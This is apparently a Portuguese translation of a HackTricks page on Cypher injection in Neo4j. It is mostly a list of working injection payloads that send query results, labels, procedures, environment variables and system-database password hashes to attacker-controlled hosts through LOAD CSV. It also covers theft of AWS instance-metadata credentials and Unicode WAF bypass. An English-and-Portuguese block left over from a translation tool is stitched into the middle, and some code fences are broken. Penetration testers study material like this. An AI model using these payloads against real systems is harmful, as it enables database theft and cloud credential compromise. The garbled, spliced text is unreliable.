20 KiB
Injeção de Cypher (neo4j)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Injeções de Cypher Comuns
As declarações MATCH e WHERE são cenários comuns.
Quando encontramos uma injeção, a maneira de explorá-la depende da localização dentro da consulta. Abaixo está uma tabela de diferentes locais de injeção e exemplos de exploração:
Consulta injetável | Injeção |
---|---|
MATCH (o) WHERE o.Id='{input}' |
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
|
'=' {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} |
a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:`{input}` |
a` {...} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:'{input}'}) |
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 // |
MATCH (o:{input}) |
a) RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o:`{input}`) |
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r {id:'{input}'})]-(o2) |
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) |
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r:`{input}`]-(o2) |
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
Observe a declaração UNION:
- A razão pela qual UNION é necessária é que, se a declaração MATCH não retornar nada, o restante da consulta não será executado. Portanto, todas as coisas nefastas que podemos fazer lá simplesmente não serão executadas.
- Adicionamos "RETURN 1" antes da UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a consulta ser executada.
Então, qual é a declaração "WITH"?
Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga útil tentar definir uma variável que já existe, a consulta falhará ao ser executada.
Naturalmente, se conhecemos a consulta e o banco de dados, nenhuma dessas técnicas é necessária. Podemos até manipular os dados retornados para, por sua vez, manipular o processo em vez de apenas abusar do servidor.
Exfiltração HTTP
É possível usar o seguinte método para exfiltrar informações para o domínio controlado pelo atacante:
LOAD CSV FROM 'https://attacker.com/'
Original text:
## Cypher Injection (Neo4j)
Cypher is a query language used by Neo4j, a popular graph database. Cypher injection is similar to SQL injection, but instead of injecting SQL code, we inject Cypher code.
### Basic Injection
The most basic injection is to inject a `MATCH` clause that returns all nodes in the database:
MATCH (n) RETURN n
### Retrieving Sensitive Information
To retrieve sensitive information, we can inject a `MATCH` clause that returns the desired nodes and their properties:
MATCH (n:User) RETURN n.username, n.password
### Modifying the Database
We can also modify the database by injecting a `CREATE` or `MERGE` clause:
CREATE (n:Malware {name: 'WannaCry'})
### Preventing Injection
To prevent Cypher injection, we can use parameterized queries. Here's an example:
String query = "MATCH (n:User {username: $username, password: $password}) RETURN n"; Map<String, Object> parameters = new HashMap<>(); parameters.put("username", username); parameters.put("password", password); Result result = session.run(query, parameters);
In this example, the `$username` and `$password` variables are replaced with the actual values when the query is executed, preventing injection.
Translated text:
## Injeção de Cypher (Neo4j)
Cypher é uma linguagem de consulta usada pelo Neo4j, um popular banco de dados de gráficos. A injeção de Cypher é semelhante à injeção de SQL, mas em vez de injetar código SQL, injetamos código Cypher.
### Injeção Básica
A injeção mais básica é injetar uma cláusula `MATCH` que retorna todos os nós no banco de dados:
MATCH (n) RETURN n
### Recuperando informações sensíveis
Para recuperar informações sensíveis, podemos injetar uma cláusula `MATCH` que retorna os nós desejados e suas propriedades:
MATCH (n:User) RETURN n.username, n.password
### Modificando o banco de dados
Também podemos modificar o banco de dados injetando uma cláusula `CREATE` ou `MERGE`:
CREATE (n:Malware {name: 'WannaCry'})
### Prevenindo Injeção
Para prevenir a injeção de Cypher, podemos usar consultas parametrizadas. Aqui está um exemplo:
String query = "MATCH (n:User {username: $username, password: $password}) RETURN n"; Map<String, Object> parameters = new HashMap<>(); parameters.put("username", username); parameters.put("password", password); Result result = session.run(query, parameters);
Neste exemplo, as variáveis `$username` e `$password` são substituídas pelos valores reais quando a consulta é executada, prevenindo a injeção.
```sql
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
APOC
A primeira coisa que um invasor deve verificar é se o APOC está instalado. O APOC (procedimentos incríveis no Cypher) é um plugin extremamente popular, oficialmente suportado pelo Neo4j, que melhora muito suas capacidades. O APOC adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente. Os invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.
Procedimentos para processar dados e enviar solicitações HTTP
apoc.convert.toJson
— converte nós, mapas e mais em JSONapoc.text.base64Encode
— obtém uma string e a codifica como base64
É possível definir cabeçalhos e enviar outros métodos além do GET. Exemplos:
{% code overflow="wrap" %}
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
Procedimentos para avaliar consultas
apoc.cypher.runFirstColumnMany
- uma função que retorna os valores da primeira coluna como uma listaapoc.cypher.runFirstColumnSingle
- uma função que retorna o primeiro valor da primeira colunaapoc.cypher.run
- um procedimento que executa uma consulta e retorna os resultados como um mapaapoc.cypher.runMany
- um procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente.
Extraindo informações
Versão do servidor
Uma maneira de obter a versão do servidor é usar o procedimento dbms.components()
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Obter consulta em execução
A maneira mais fácil é usar o procedimento dmbs.listQueries()
.
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
{% endcode %}
No Neo4j 5 dbms.listQueries
foi removido. Em vez disso, podemos usar "SHOW TRANSACTIONS". Existem duas limitações principais: as consultas SHOW não são injetáveis, e ao contrário de listQueries
, podemos ver apenas a consulta atualmente executada na transação e não todas elas.
Se o APOC core estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany
para executar SHOW TRANSACTIONS, porque ao contrário de outras funções e procedimentos apoc.cypher, ele é executado em uma transação diferente.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
Obter rótulos
Usando o método integrado db.labels
, é possível listar todos os rótulos existentes.
{% code overflow="wrap" %}
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
Obter propriedades de uma chave
A função integrada keys
pode ser usada para listar as chaves das propriedades (Isso não funcionará se um dos campos for uma lista ou um mapa).
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Obter funções e procedimentos
Usando os procedimentos internos dbms.functions()
e dbms.procedures()
é possível listar todas as funções e procedimentos.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
Esses procedimentos foram removidos no Neo4j 5. Em vez disso, podemos usar SHOW PROCEDURES
e SHOW FUNCTIONS
. Consultas SHOW não podem ser injetadas.
Se o APOC core estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
Obter banco de dados do sistema
O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:
- Bancos de dados
- Funções
- Usuários (incluindo o hash da senha!)
Usando o APOC, é possível recuperar os nós, incluindo os hashes. Apenas administradores podem fazer isso, mas na edição gratuita do Neo4j, há apenas um usuário administrador e nenhum outro usuário, então não é incomum se encontrar executando como administrador.
Use o procedimento apoc.systemdb.graph()
para recuperar os dados.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
{% endcode %}
O Neo4j usa o SimpleHash do Apache Shiro para gerar o hash.
O resultado é armazenado como uma string de valores separados por vírgula:
- Algoritmo de hash
- Hash
- Salt
- Iterações
Por exemplo:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Obter variáveis de ambiente
Usando o APOC, é possível recuperar a variável de ambiente usando o procedimento apoc.config.map()
ou apoc.config.list()
.
Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos não restritos no arquivo de configuração (dbms.security.procedures.unrestricted). Isso é mais comum do que se pensa, e pesquisar o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor "apoc.*", o que permite todos os procedimentos APOC.
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Nota: no Neo4j5, os procedimentos foram movidos para o APOC estendido.
Endpoint de Metadados da Nuvem AWS
IMDSv1
{% code overflow="wrap" %}
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
IMDSv2
Precisamos especificar cabeçalhos e precisamos usar métodos diferentes de GET.
LOAD CSV
não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams
para obter o token e a função, e depois apoc.load.jsonParams
para obter as credenciais em si. A razão pela qual usamos csvParams é que a resposta não é um JSON válido.
{% endcode %}
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
{% endcode %}
Contate diretamente a API da AWS
{% code overflow="wrap" %}
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
{% endcode %}
- $data é formatado como %Y%m%dT%H%M%SZ
- $token é o token que obtivemos do servidor de metadados
- $signed_token é calculado de acordo com https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html
Bypass do WAF
Injeção de Unicode
No Neo4j >= v4.2.0, é frequentemente possível injetar Unicode usando "\uXXXX". Por exemplo, você pode usar este método se o servidor tentar remover caracteres como: ', ", ` e assim por diante.
Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra notação Unicode.
Por exemplo, se o servidor remover aspas simples, e a consulta parecer com a seguinte:
MATCH (a: {name: '$INPUT'}) RETURN a
É possível injetar:
{% code overflow="wrap" %}
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
{% endcode %}
Referências
- https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
- https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.